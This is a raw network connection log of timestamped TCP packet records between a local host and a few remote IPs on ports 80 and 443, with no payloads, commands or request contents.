Nov 21, 2024 07:10:05.413314104 CET	443	49758	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:05.413381100 CET	49758	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:05.413605928 CET	49758	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:05.413618088 CET	443	49758	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:06.124329090 CET	80	49753	185.215.113.43	192.168.2.4
Nov 21, 2024 07:10:06.124402046 CET	49753	80	192.168.2.4	185.215.113.43
Nov 21, 2024 07:10:07.028167963 CET	443	49754	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.028732061 CET	49754	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.028748035 CET	443	49754	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.029203892 CET	49754	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.029211044 CET	443	49754	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.045955896 CET	443	49755	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.046396017 CET	49755	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.046411037 CET	443	49755	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.046725988 CET	49755	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.046730042 CET	443	49755	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.128364086 CET	443	49756	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.128705978 CET	49756	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.128755093 CET	443	49756	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.129031897 CET	49756	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.129044056 CET	443	49756	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.149787903 CET	443	49758	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.150140047 CET	49758	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.150156021 CET	443	49758	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.150541067 CET	49758	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.150551081 CET	443	49758	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.166229963 CET	443	49757	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.166534901 CET	49757	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.166562080 CET	443	49757	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.166944027 CET	49757	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.166956902 CET	443	49757	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.462742090 CET	443	49754	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.462794065 CET	443	49754	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.462845087 CET	49754	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.463032007 CET	49754	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.463056087 CET	443	49754	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.463072062 CET	49754	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.463080883 CET	443	49754	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.465825081 CET	49759	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.465888977 CET	443	49759	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.465972900 CET	49759	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.466134071 CET	49759	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.466161013 CET	443	49759	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.484677076 CET	443	49755	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.484743118 CET	443	49755	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.484798908 CET	49755	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.484958887 CET	49755	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.484958887 CET	49755	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.484973907 CET	443	49755	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.484982014 CET	443	49755	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.487050056 CET	49760	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.487127066 CET	443	49760	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.487216949 CET	49760	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.487349987 CET	49760	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.487374067 CET	443	49760	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.573096037 CET	443	49756	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.573263884 CET	443	49756	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.573506117 CET	49756	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.573580027 CET	49756	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.573580027 CET	49756	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.573616982 CET	443	49756	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.573642015 CET	443	49756	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.575460911 CET	49761	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.575536966 CET	443	49761	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.575617075 CET	49761	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.575710058 CET	49761	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.575730085 CET	443	49761	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.585084915 CET	443	49758	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.585160971 CET	443	49758	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.585211039 CET	49758	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.585295916 CET	49758	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.585295916 CET	49758	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.585314035 CET	443	49758	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.585334063 CET	443	49758	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.586963892 CET	49762	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.586998940 CET	443	49762	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.587129116 CET	49762	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.587229967 CET	49762	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.587259054 CET	443	49762	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.610968113 CET	443	49757	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.611018896 CET	443	49757	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.611074924 CET	49757	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.611182928 CET	49757	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.611196995 CET	443	49757	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.611210108 CET	49757	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.611216068 CET	443	49757	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.612940073 CET	49763	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.613033056 CET	443	49763	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.613130093 CET	49763	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.613231897 CET	49763	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:07.613260984 CET	443	49763	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:07.638055086 CET	49753	80	192.168.2.4	185.215.113.43
Nov 21, 2024 07:10:07.638992071 CET	49764	80	192.168.2.4	185.215.113.43
Nov 21, 2024 07:10:07.758069038 CET	80	49753	185.215.113.43	192.168.2.4
Nov 21, 2024 07:10:07.758126974 CET	49753	80	192.168.2.4	185.215.113.43
Nov 21, 2024 07:10:07.758583069 CET	80	49764	185.215.113.43	192.168.2.4
Nov 21, 2024 07:10:07.758675098 CET	49764	80	192.168.2.4	185.215.113.43
Nov 21, 2024 07:10:07.758855104 CET	49764	80	192.168.2.4	185.215.113.43
Nov 21, 2024 07:10:07.878678083 CET	80	49764	185.215.113.43	192.168.2.4
Nov 21, 2024 07:10:09.203535080 CET	80	49764	185.215.113.43	192.168.2.4
Nov 21, 2024 07:10:09.203608036 CET	49764	80	192.168.2.4	185.215.113.43
Nov 21, 2024 07:10:09.207691908 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:09.321984053 CET	443	49760	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:09.322572947 CET	49760	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:09.322606087 CET	443	49760	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:09.323003054 CET	49760	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:09.323018074 CET	443	49760	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:09.327847004 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:09.327939034 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:09.328120947 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:09.362426043 CET	443	49761	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:09.362960100 CET	49761	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:09.362993002 CET	443	49761	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:09.363303900 CET	49761	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:09.363322020 CET	443	49761	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:09.398334026 CET	443	49763	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:09.398848057 CET	49763	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:09.398891926 CET	443	49763	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:09.399173021 CET	49763	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:09.399188042 CET	443	49763	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:09.433423042 CET	443	49762	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:09.433873892 CET	49762	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:09.433892012 CET	443	49762	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:09.434328079 CET	49762	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:09.434334040 CET	443	49762	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:09.447552919 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:09.768156052 CET	443	49760	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:09.768369913 CET	443	49760	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:09.768460989 CET	49760	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:09.768542051 CET	49760	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:09.768600941 CET	443	49760	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:09.768637896 CET	49760	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:09.768655062 CET	443	49760	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:09.771440029 CET	49766	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:09.771523952 CET	443	49766	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:09.771635056 CET	49766	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:09.771792889 CET	49766	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:09.771826982 CET	443	49766	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:09.807518959 CET	443	49761	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:09.807682037 CET	443	49761	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:09.807845116 CET	49761	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:09.807997942 CET	49761	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:09.808020115 CET	443	49761	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:09.808036089 CET	49761	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:09.808043003 CET	443	49761	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:09.810184002 CET	49767	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:09.810210943 CET	443	49767	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:09.810298920 CET	49767	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:09.810457945 CET	49767	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:09.810470104 CET	443	49767	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:09.841147900 CET	443	49763	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:09.841334105 CET	443	49763	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:09.841396093 CET	49763	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:09.841424942 CET	49763	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:09.841434002 CET	443	49763	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:09.841450930 CET	49763	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:09.841455936 CET	443	49763	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:09.843353033 CET	49768	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:09.843389034 CET	443	49768	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:09.843453884 CET	49768	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:09.843561888 CET	49768	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:09.843580961 CET	443	49768	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:09.888986111 CET	443	49762	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:09.889086008 CET	443	49762	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:09.889143944 CET	49762	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:09.889245033 CET	49762	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:09.889245033 CET	49762	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:09.889269114 CET	443	49762	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:09.889295101 CET	443	49762	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:09.891124964 CET	49769	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:09.891153097 CET	443	49769	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:09.891223907 CET	49769	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:09.891351938 CET	49769	443	192.168.2.4	13.107.246.45
Nov 21, 2024 07:10:09.891362906 CET	443	49769	13.107.246.45	192.168.2.4
Nov 21, 2024 07:10:10.669938087 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:10.670011997 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:10.670051098 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:10.670080900 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:10.670130968 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:10.670130968 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:10.670130968 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:10.670134068 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:10.670171976 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:10.670171022 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:10.670171022 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:10.670207024 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:10.670217991 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:10.670243979 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:10.670250893 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:10.670277119 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:10.670284986 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:10.670316935 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:10.670322895 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:10.670357943 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:10.790144920 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:10.790194035 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:10.790204048 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:10.790240049 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:10.794091940 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:10.794142008 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:10.865695953 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:10.865748882 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:10.865777969 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:10.865921974 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:10.869822025 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:10.869877100 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:10.869945049 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:10.869982958 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:10.878210068 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:10.878274918 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:10.878319979 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:10.878384113 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:10.886589050 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:10.886632919 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:10.886670113 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:10.886712074 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:10.894982100 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:10.895030975 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:10.895075083 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:10.895117998 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:10.903378010 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:10.903425932 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:10.903465033 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:10.903526068 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:10.911709070 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:10.911760092 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:10.911911964 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:10.911952972 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:10.920130014 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:10.920182943 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:10.920182943 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:10.920229912 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:10.928467035 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:10.928528070 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:10.928597927 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:10.928688049 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:10.936165094 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:10.936213970 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:10.936223030 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:10.936261892 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:10.943828106 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:10.943898916 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:10.943960905 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:10.944005013 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:10.951441050 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:10.951507092 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.057652950 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.057727098 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.057743073 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.057775021 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.060045958 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.060106039 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.060169935 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.060223103 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.065298080 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.065399885 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.065429926 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.065448999 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.069756985 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.069812059 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.069907904 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.069952965 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.074762106 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.074822903 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.074886084 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.074927092 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.079715967 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.079777956 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.079803944 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.079888105 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.084497929 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.084567070 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.084568024 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.084604025 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.089235067 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.089286089 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.089351892 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.089401960 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.094055891 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.094158888 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.094230890 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.099001884 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.099057913 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.099134922 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.099179983 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.103564978 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.103615999 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.103708982 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.103753090 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.108355045 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.108424902 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.108504057 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.108552933 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.113152981 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.113199949 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.113262892 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.113307953 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.117923975 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.117974043 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.117986917 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.118031979 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.122685909 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.122730017 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.122792006 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.122837067 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.127446890 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.127517939 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.127605915 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.127656937 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.249533892 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.249608040 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.249655962 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.249702930 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.251451015 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.251507044 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.251580954 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.251631021 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.255296946 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.255352974 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.255414009 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.255464077 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.259251118 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.259305000 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.259380102 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.259428024 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.262996912 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.263094902 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.263138056 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.263186932 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.266850948 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.266902924 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.266966105 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.267013073 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.270694017 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.270744085 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.270817995 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.270867109 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.274576902 CET	80	49765	185.215.113.16	192.168.2.4
Nov 21, 2024 07:10:11.274635077 CET	49765	80	192.168.2.4	185.215.113.16
Nov 21, 2024 07:10:11.274750948 CET	80	49765	185.215.113.16	192.168.2.4
